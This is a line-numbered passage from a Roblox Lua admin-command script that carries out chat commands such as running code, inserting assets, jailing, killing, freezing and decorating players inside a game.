  437. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  438. end end
  439.  
  440. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  441. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  442. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  443. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  444. end
  445.  
  446. if msg:lower() == "tools" or msg:lower() == "toollist" then
  447. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  448. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  449. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  450. end
  451.  
  452. if msg:lower():sub(1,2) == "s " then
  453. coroutine.resume(coroutine.create(function()
  454. Output(msg:sub(3), plr)
  455. if script:findFirstChild("ScriptBase") then
  456. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  457. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  458. else loadstring(msg:sub(3))()
  459. end
  460. end))
  461. end
  462.  
  463. if msg:lower():sub(1,3) == "ls " then
  464. coroutine.resume(coroutine.create(function()
  465. if script:findFirstChild("LocalScriptBase") then
  466. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  467. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  468. end
  469. end))
  470. end
  471.  
  472. if msg:lower():sub(1,4) == "ins " then
  473. coroutine.resume(coroutine.create(function()
  474. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  475. if obj and #obj:children() >= 1 and plr.Character then
  476. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  477. end
  478. end))
  479. end
  480.  
  481. if msg:lower():sub(1,5) == "gear " then
  482. coroutine.resume(coroutine.create(function()
  483. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(6)))
  484. if obj and #obj:children() >= 1 and plr.Character then
  485. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  486. end
  487. end))
  488. end
  489.  
  490. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  491. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  492. objects = {}
  493. end
  494.  
  495. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  496. game.Lighting.Ambient = origsettings.abt
  497. game.Lighting.Brightness = origsettings.brt
  498. game.Lighting.TimeOfDay = origsettings.time
  499. game.Lighting.FogColor = origsettings.fclr
  500. game.Lighting.FogEnd = origsettings.fe
  501. game.Lighting.FogStart = origsettings.fs
  502. for i, v in pairs(lobjs) do v:Destroy() end
  503. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  504. end
  505.  
  506. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  507. coroutine.resume(coroutine.create(function()
  508. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  509. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  510. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  511. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  512. end))
  513. end
  514.  
  515. if msg:lower():sub(1,2) == "m " then
  516. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  517. end
  518.  
  519. if msg:lower():sub(1,2) == "h " then
  520. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  521. end
  522.  
  523. if msg:lower():sub(1,3) == "pm " then
  524. local chk1 = msg:lower():sub(4):find(" ") + 3
  525. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  526. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  527. end
  528.  
  529. if msg:lower():sub(1,11) == "resetstats " then
  530. local plrz = GetPlr(plr, msg:lower():sub(12))
  531. for i, v in pairs(plrz) do
  532. coroutine.resume(coroutine.create(function()
  533. if v and v:findFirstChild("leaderstats") then
  534. for a, q in pairs(v.leaderstats:children()) do
  535. if q:IsA("IntValue") then q.Value = 0 end
  536. end
  537. end
  538. end))
  539. end
  540. end
  541.  
  542. if msg:lower():sub(1,4) == "hat " then
  543. local chk1 = msg:lower():sub(5):find(" ") + 4
  544. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  545. for i, v in pairs(plrz) do
  546. coroutine.resume(coroutine.create(function()
  547. if v and v.Character then
  548. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  549. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  550. obj:Destroy()
  551. end
  552. end))
  553. end
  554. end
  555.  
  556. if msg:lower():sub(1,5) == "cape " then
  557. local chk1 = msg:lower():sub(6):find(" ")
  558. local plrz = GetPlr(plr, msg:lower():sub(6))
  559. local str = "torso.BrickColor"
  560. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  561. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  562. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  563. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  564. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  565. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  566. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  567. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  568. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  569. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  570. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  571. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  572. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  573. if BrickColor.new(teststr) ~= nil then str = teststr end
  574. end
  575. for i, v in pairs(plrz) do
  576. coroutine.resume(coroutine.create(function()
  577. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  578. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  579. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  580. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  581. local torso = plr.Character.Torso
  582. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  583. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  584. p.Size = Vector3.new(.2,.2,.2)
  585. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  586. local motor1 = Instance.new("Motor", p)
  587. motor1.Part0 = p
  588. motor1.Part1 = torso
  589. motor1.MaxVelocity = .01
  590. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  591. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  592. local wave = false
  593. repeat wait(1/44)
  594. local ang = 0.1
  595. local oldmag = torso.Velocity.magnitude
  596. local mv = .002
  597. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  598. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  599. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  600. motor1.DesiredAngle = -ang
  601. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  602. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
  603. if torso.Velocity.magnitude < .1 then wait(.1) end
  604. until not p or p.Parent ~= torso.Parent
  605. script:Destroy()
  606. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  607. end
  608. end))
  609. end
  610. end
  611.  
  612. if msg:lower():sub(1,7) == "uncape " then
  613. local plrz = GetPlr(plr, msg:lower():sub(8))
  614. for i, v in pairs(plrz) do
  615. coroutine.resume(coroutine.create(function()
  616. if v and v:findFirstChild("PlayerGui") and v.Character then
  617. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  618. end
  619. end))
  620. end
  621. end
  622.  
  623. if msg:lower():sub(1,7) == "noclip " then
  624. local plrz = GetPlr(plr, msg:lower():sub(8))
  625. for i, v in pairs(plrz) do
  626. coroutine.resume(coroutine.create(function()
  627. if v and v:findFirstChild("PlayerGui") then
  628. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  629. cl.Parent = v.PlayerGui cl.Disabled = false
  630. end
  631. end))
  632. end
  633. end
  634.  
  635. if msg:lower():sub(1,5) == "clip " then
  636. local plrz = GetPlr(plr, msg:lower():sub(6))
  637. for i, v in pairs(plrz) do
  638. coroutine.resume(coroutine.create(function()
  639. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  640. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  641. v.Character.Torso.Anchored = false
  642. wait(.1) v.Character.Humanoid.PlatformStand = false
  643. end
  644. end))
  645. end
  646. end
  647.  
  648. if msg:lower():sub(1,5) == "jail " then
  649. local plrz = GetPlr(plr, msg:lower():sub(6))
  650. for i, v in pairs(plrz) do
  651. coroutine.resume(coroutine.create(function()
  652. if v and v.Character and v.Character:findFirstChild("Torso") then
  653. local vname = v.Name
  654. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  655. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  656. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  657. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  658. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  659. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  660. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  661. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  662. end)
  663. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  664. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  665. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  666. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  667. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  668. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  669. local msh2 = msh:Clone() msh2.Parent = back
  670. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  671. local msh4 = msh3:Clone() msh4.Parent = left
  672. v.Character.Torso.CFrame = cf
  673. end
  674. end))
  675. end
  676. end
  677.  
  678. if msg:lower():sub(1,7) == "unjail " then
  679. local plrz = GetPlr(plr, msg:lower():sub(8))
  680. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  681. end
  682.  
  683. if msg:lower():sub(1,11) == "starttools " then
  684. local plrz = GetPlr(plr, msg:lower():sub(12))
  685. for i, v in pairs(plrz) do
  686. coroutine.resume(coroutine.create(function()
  687. if v and v:findFirstChild("Backpack") then
  688. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  689. end
  690. end))
  691. end
  692. end
  693.  
  694. if msg:lower():sub(1,6) == "sword " then
  695. local plrz = GetPlr(plr, msg:lower():sub(7))
  696. for i, v in pairs(plrz) do
  697. coroutine.resume(coroutine.create(function()
  698. if v and v:findFirstChild("Backpack") then
  699. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword"  sword.TextureId = "rbxasset://Textures/Sword128.png"
  700. sword.GripForward = Vector3.new(-1,0,0)
  701. sword.GripPos = Vector3.new(0,0,-1.5)
  702. sword.GripRight = Vector3.new(0,1,0)
  703. sword.GripUp = Vector3.new(0,0,1)
  704. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  705. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  706. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  707. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  708. local Damage = 15
  709. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  710. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  711. SlashSound.Volume = 1
  712. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  713. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  714. LungeSound.Volume = 1
  715. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  716. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  717. UnsheathSound.Volume = 1
  718. local last = 0
  719. script.Parent.Handle.Touched:connect(function(hit)
  720. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  721. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  722. hit.Parent.Humanoid:TakeDamage(Damage)
  723. end
  724. end)
  725. script.Parent.Activated:connect(function()
  726. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  727. script.Parent.Enabled = false
  728. local tick = game:service("RunService").Stepped:wait()
  729. if tick - last <= .2 then
  730. LungeSound:play()
  731. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  732. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  733. wait(.2)
  734. script.Parent.GripForward = Vector3.new(0,0,1)
  735. script.Parent.GripRight = Vector3.new(0,-1,0)
  736. script.Parent.GripUp = Vector3.new(-1,0,0)
  737. wait(.3)
  738. frc:Destroy() wait(.5)
  739. script.Parent.GripForward = Vector3.new(-1,0,0)
  740. script.Parent.GripRight = Vector3.new(0,1,0)
  741. script.Parent.GripUp = Vector3.new(0,0,1)
  742. else
  743. SlashSound:play()
  744. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  745. end
  746. last = tick
  747. script.Parent.Enabled = true
  748. end)
  749. script.Parent.Equipped:connect(function(mouse)
  750. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  751. UnsheathSound:play()
  752. script.Parent.Enabled = true
  753. if not mouse then return end
  754. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  755. end)]] cl.Disabled = false
  756. end
  757. end))
  758. end
  759. end
  760.  
  761. if msg:lower():sub(1,5) == "kill " then
  762. local plrz = GetPlr(plr, msg:lower():sub(6))
  763. for i, v in pairs(plrz) do
  764. coroutine.resume(coroutine.create(function()
  765. if v and v.Character then v.Character:BreakJoints() end
  766. end))
  767. end
  768. end
  769.  
  770. if msg:lower():sub(1,8) == "respawn " then
  771. local plrz = GetPlr(plr, msg:lower():sub(9))
  772. for i, v in pairs(plrz) do
  773. coroutine.resume(coroutine.create(function()
  774. if v and v.Character then v:LoadCharacter() end
  775. end))
  776. end
  777. end
  778.  
  779. if msg:lower():sub(1,5) == "trip " then
  780. local plrz = GetPlr(plr, msg:lower():sub(6))
  781. for i, v in pairs(plrz) do
  782. coroutine.resume(coroutine.create(function()
  783. if v and v.Character and v.Character:findFirstChild("Torso") then
  784. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  785. end
  786. end))
  787. end
  788. end
  789.  
  790. if msg:lower():sub(1,5) == "stun " then
  791. local plrz = GetPlr(plr, msg:lower():sub(6))
  792. for i, v in pairs(plrz) do
  793. coroutine.resume(coroutine.create(function()
  794. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  795. v.Character.Humanoid.PlatformStand = true
  796. end
  797. end))
  798. end
  799. end
  800.  
  801. if msg:lower():sub(1,7) == "unstun " then
  802. local plrz = GetPlr(plr, msg:lower():sub(8))
  803. for i, v in pairs(plrz) do
  804. coroutine.resume(coroutine.create(function()
  805. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  806. v.Character.Humanoid.PlatformStand = false
  807. end
  808. end))
  809. end
  810. end
  811.  
  812. if msg:lower():sub(1,5) == "jump " then
  813. local plrz = GetPlr(plr, msg:lower():sub(6))
  814. for i, v in pairs(plrz) do
  815. coroutine.resume(coroutine.create(function()
  816. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  817. v.Character.Humanoid.Jump = true
  818. end
  819. end))
  820. end
  821. end
  822.  
  823. if msg:lower():sub(1,4) == "sit " then
  824. local plrz = GetPlr(plr, msg:lower():sub(5))
  825. for i, v in pairs(plrz) do
  826. coroutine.resume(coroutine.create(function()
  827. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  828. v.Character.Humanoid.Sit = true
  829. end
  830. end))
  831. end
  832. end
  833.  
  834. if msg:lower():sub(1,10) == "invisible " then
  835. local plrz = GetPlr(plr, msg:lower():sub(11))
  836. for i, v in pairs(plrz) do
  837. coroutine.resume(coroutine.create(function()
  838. if v and v.Character then
  839. for a, obj in pairs(v.Character:children()) do
  840. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  841. end
  842. end
  843. end))
  844. end
  845. end
  846.  
  847. if msg:lower():sub(1,8) == "visible " then
  848. local plrz = GetPlr(plr, msg:lower():sub(9))
  849. for i, v in pairs(plrz) do
  850. coroutine.resume(coroutine.create(function()
  851. if v and v.Character then
  852. for a, obj in pairs(v.Character:children()) do
  853. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  854. end
  855. end
  856. end))
  857. end
  858. end
  859.  
  860. if msg:lower():sub(1,5) == "lock " then
  861. local plrz = GetPlr(plr, msg:lower():sub(6))
  862. for i, v in pairs(plrz) do
  863. coroutine.resume(coroutine.create(function()
  864. if v and v.Character then
  865. for a, obj in pairs(v.Character:children()) do
  866. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  867. end
  868. end
  869. end))
  870. end
  871. end
  872.  
  873. if msg:lower():sub(1,7) == "unlock " then
  874. local plrz = GetPlr(plr, msg:lower():sub(8))
  875. for i, v in pairs(plrz) do
  876. coroutine.resume(coroutine.create(function()
  877. if v and v.Character then
  878. for a, obj in pairs(v.Character:children()) do
  879. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  880. end
  881. end
  882. end))
  883. end
  884. end
  885.  
  886. if msg:lower():sub(1,8) == "explode " then
  887. local plrz = GetPlr(plr, msg:lower():sub(9))
  888. for i, v in pairs(plrz) do
  889. coroutine.resume(coroutine.create(function()
  890. if v and v.Character and v.Character:findFirstChild("Torso") then
  891. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  892. end
  893. end))
  894. end
  895. end
  896.  
  897. if msg:lower():sub(1,4) == "age " then
  898. local plrz = GetPlr(plr, msg:lower():sub(5))
  899. for i, v in pairs(plrz) do
  900. coroutine.resume(coroutine.create(function()
  901. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  902. end))
  903. end
  904. end
  905.  
  906. if msg:lower():sub(1,5) == "fire " then
  907. local plrz = GetPlr(plr, msg:lower():sub(6))
  908. for i, v in pairs(plrz) do
  909. coroutine.resume(coroutine.create(function()
  910. if v and v.Character and v.Character:findFirstChild("Torso") then
  911. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  912. end
  913. end))
  914. end
  915. end
  916.  
  917. if msg:lower():sub(1,7) == "unfire " then
  918. local plrz = GetPlr(plr, msg:lower():sub(8))
  919. for i, v in pairs(plrz) do
  920. coroutine.resume(coroutine.create(function()
  921. if v and v.Character and v.Character:findFirstChild("Torso") then
  922. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  923. end
  924. end))
  925. end
  926. end
  927.  
  928. if msg:lower():sub(1,6) == "smoke " then
  929. local plrz = GetPlr(plr, msg:lower():sub(7))
  930. for i, v in pairs(plrz) do
  931. coroutine.resume(coroutine.create(function()
  932. if v and v.Character and v.Character:findFirstChild("Torso") then
  933. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  934. end
  935. end))
  936. end
  937. end
  938.  
  939. if msg:lower():sub(1,8) == "unsmoke " then
  940. local plrz = GetPlr(plr, msg:lower():sub(9))
  941. for i, v in pairs(plrz) do
  942. coroutine.resume(coroutine.create(function()
  943. if v and v.Character and v.Character:findFirstChild("Torso") then
  944. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  945. end
  946. end))
  947. end
  948. end
  949.  
  950. if msg:lower():sub(1,9) == "sparkles " then
  951. local plrz = GetPlr(plr, msg:lower():sub(10))
  952. for i, v in pairs(plrz) do
  953. coroutine.resume(coroutine.create(function()
  954. if v and v.Character and v.Character:findFirstChild("Torso") then
  955. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  956. end
  957. end))
  958. end
  959. end
  960.  
  961. if msg:lower():sub(1,11) == "unsparkles " then
  962. local plrz = GetPlr(plr, msg:lower():sub(12))
  963. for i, v in pairs(plrz) do
  964. coroutine.resume(coroutine.create(function()
  965. if v and v.Character and v.Character:findFirstChild("Torso") then
  966. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  967. end
  968. end))
  969. end
  970. end
  971.  
  972. if msg:lower():sub(1,3) == "ff " then
  973. local plrz = GetPlr(plr, msg:lower():sub(4))
  974. for i, v in pairs(plrz) do
  975. coroutine.resume(coroutine.create(function()
  976. if v and v.Character then Instance.new("ForceField", v.Character) end
  977. end))
  978. end
  979. end
  980.  
  981. if msg:lower():sub(1,5) == "unff " then
  982. local plrz = GetPlr(plr, msg:lower():sub(6))
  983. for i, v in pairs(plrz) do
  984. coroutine.resume(coroutine.create(function()
  985. if v and v.Character then
  986. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  987. end
  988. end))
  989. end
  990. end
  991.  
  992. if msg:lower():sub(1,7) == "punish " then
  993. local plrz = GetPlr(plr, msg:lower():sub(8))
  994. for i, v in pairs(plrz) do
  995. coroutine.resume(coroutine.create(function()
  996. if v and v.Character then
  997. v.Character.Parent = game:service("Lighting")
  998. end
  999. end))
  1000. end
  1001. end
  1002.  
  1003. if msg:lower():sub(1,9) == "unpunish " then
  1004. local plrz = GetPlr(plr, msg:lower():sub(10))
  1005. for i, v in pairs(plrz) do
  1006. coroutine.resume(coroutine.create(function()
  1007. if v and v.Character then
  1008. v.Character.Parent = game:service("Workspace")
  1009. v.Character:MakeJoints()
  1010. end
  1011. end))
  1012. end
  1013. end
  1014.  
  1015. if msg:lower():sub(1,7) == "freeze " then
  1016. local plrz = GetPlr(plr, msg:lower():sub(8))
  1017. for i, v in pairs(plrz) do
  1018. coroutine.resume(coroutine.create(function()
  1019. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1020. for a, obj in pairs(v.Character:children()) do
  1021. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1022. end
  1023. end
  1024. end))
  1025. end
  1026. end
  1027.  
  1028. if msg:lower():sub(1,5) == "thaw " then
  1029. local plrz = GetPlr(plr, msg:lower():sub(6))
  1030. for i, v in pairs(plrz) do
  1031. coroutine.resume(coroutine.create(function()
  1032. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1033. for a, obj in pairs(v.Character:children()) do
  1034. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1035. end
  1036. end
  1037. end))
  1038. end
  1039. end
  1040.  
  1041. if msg:lower():sub(1,5) == "heal " then
  1042. local plrz = GetPlr(plr, msg:lower():sub(6))
  1043. for i, v in pairs(plrz) do
  1044. coroutine.resume(coroutine.create(function()
  1045. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1046. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1047. end
  1048. end))
  1049. end
  1050. end
  1051.  
  1052. if msg:lower():sub(1,4) == "god " then
  1053. local plrz = GetPlr(plr, msg:lower():sub(5))
  1054. for i, v in pairs(plrz) do
  1055. coroutine.resume(coroutine.create(function()
